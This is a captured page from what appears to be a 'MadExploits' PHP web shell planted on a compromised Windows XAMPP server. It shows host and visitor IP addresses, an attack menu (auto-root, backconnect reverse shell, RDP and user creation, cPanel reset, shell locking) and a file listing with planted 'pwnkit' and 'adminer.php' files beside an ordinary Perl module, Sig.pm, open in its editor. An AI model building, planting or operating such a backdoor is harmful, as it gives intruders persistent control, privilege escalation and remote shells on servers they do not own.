Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.168
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
vendor /
lib /
Parse /
Method /
Signatures /
[ HOME SHELL ]
Name
Size
Permission
Action
Param
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Param.pm
3.7
KB
-rw-rw-rw-
ParamCollection.pm
418
B
-rw-rw-rw-
Sig.pm
3.15
KB
-rw-rw-rw-
TypeConstraint.pm
5.02
KB
-rw-rw-rw-
Types.pm
1.03
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Sig.pm
package Parse::Method::Signatures::Sig; use Moose; use MooseX::Types::Moose qw/HashRef/; use Parse::Method::Signatures::Types qw/Param ParamCollection NamedParam/; use List::MoreUtils qw/part/; use namespace::clean -except => 'meta'; has invocant => ( is => 'ro', does => Param, predicate => 'has_invocant', ); has _positional_params => ( is => 'ro', isa => ParamCollection, init_arg => 'positional_params', predicate => 'has_positional_params', coerce => 1, handles => { positional_params => 'params', }, ); has _named_params => ( is => 'ro', isa => ParamCollection, init_arg => 'named_params', predicate => 'has_named_params', coerce => 1, handles => { named_params => 'params', }, ); has _named_map => ( is => 'ro', isa => HashRef[Param], lazy_build => 1, ); override BUILDARGS => sub { my $args = super(); if (my $params = delete $args->{params}) { my ($positional, $named) = part { NamedParam->check($_) ? 1 : 0 } @{ $params }; $args->{positional_params} = $positional if $positional; $args->{named_params} = $named if $named; } return $args; }; sub _build__named_map { my ($self) = @_; return {} unless $self->has_named_params; return { map { $_->label => $_ } @{ $self->named_params } }; } sub named_param { my ($self, $name) = @_; return $self->_named_map->{$name}; } around has_positional_params => sub { my $orig = shift; my $ret = $orig->(@_); return unless $ret; my ($self) = @_; return scalar @{ $self->positional_params }; }; around has_named_params => sub { my $orig = shift; my $ret = $orig->(@_); return unless $ret; my ($self) = @_; return scalar @{ $self->named_params }; }; sub to_string { my ($self) = @_; my $ret = q{(}; if ($self->has_invocant) { $ret .= $self->invocant->to_string; $ret .= q{:}; if ($self->has_positional_params || $self->has_named_params) { $ret .= q{ }; } } $ret .= $self->_positional_params->to_string if $self->has_positional_params; $ret .= q{, } if $self->has_positional_params && $self->has_named_params; $ret .= $self->_named_params->to_string if $self->has_named_params; $ret .= q{)}; return $ret; } __PACKAGE__->meta->make_immutable; 1; __END__ =head1 NAME Parse::Method::Signatures::Sig - Method Signature =head1 DESCRIPTION Represents the parsed method signature. =head1 ATTRIBUTES =head2 invocant =head2 named_params A ParamCollection representing the name parameters of this signature. =head2 positional_params A ParamCollection representing the positional parameters of this signature. =head1 METHODS =head2 has_named_params Predicate returning true if this signature has named parameters. =head2 has_positional_params Predicate returning true if this signature has positional parameters. =head2 named_param Returns the Param with the specified name. =head2 to_string Returns a string representation of this signature. =head1 LICENSE Licensed under the same terms as Perl itself. =cut
Close